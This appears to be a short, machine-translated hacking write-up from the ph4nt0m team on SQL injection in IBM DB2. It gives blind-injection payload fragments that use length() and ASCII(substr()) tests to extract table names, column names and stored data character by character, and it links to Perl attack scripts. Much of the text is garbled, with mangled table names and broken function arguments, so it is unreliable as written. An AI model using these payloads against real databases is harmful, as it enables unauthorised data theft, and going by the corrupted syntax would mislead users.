SQL Injection in DB2

SQL Injection in DB2

Author: superhei _ [at] _ ph4nt0m.org
Blog: http://superhei.blogbus.com/
Team: http://www.ph4nt0m.org

In the DB2 system directory view (the public has the select permission), information about all tables and columns in the current database of the current user is contained, such as syscat. tables (table), syscat. columns (column, including the name of the table where the column is located ). Also, the system table sysibm. Tables Ables (which stores all the table names of the current database) and sysibm. syscolumns (which stores all column names of the current database.

1. Blind Injection

Step 1: Repeat the table sysibm. columables (or syscat. Tables)/column name sysibm. syscolumns (or syscat. columns ):

And length (Select name from sysibm. Tables Ables where name not in ('heige') Fetch first 1 rows only) = 16 get the length of the 1st table names
And ASCII (select (substr (name, 1, 1) from sysibm. systables where name not in ('hiige ') Fetch first 1 rows only) = 65 get 1st table names with 1st letters
.......

Step 2: match the corresponding table column name (syscat. columns)

And (select max (colno) from syscat. columns where tabname = 'aa _ prep_fi_dep_info ') = 2 Table aa_prep_fi_dep_info has two column names
And length (select colname from syscat. columns where tabname = 'aa _ prep_fi_dep_info 'and colno = 0) = 6 the length of 1st columns is 6
And ASCII (select (substr (colname, 1, 1) from syscat. columns where tabname = 'aa _ prep_fi_dep_info 'and colno = 0) = 82 get the column name of the 1st columns with the 1st Letter R
.......

Step 3: Guess the data
And length (select dep_name from aa_prep_hr_dep_info where rec_no = 1) = 6. The length of dep_name in the rec_no = 1 Table is 6.
And ASCII (select (substr (dep_name, 215) from aa_prep_hr_dep_info where rec_no = 1) = 1st get the ASCII code of 215 letters
.......

Attachment:
Step1.pl [1]
Step2.pl [2]
Step3.pl [MISSING]

2. uinon select
Condition:
A. the columns are the same
B. The corresponding column types are the same

Therefore, it is generally difficult to use.

[1] http://superhei.blogbus.com/files/1140957711.pl
[2] http://superhei.blogbus.com/files/1140957722.pl

Reference
DB2 Info Center http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp

Thx x-laser cloie... and all guys from ph4nt0m!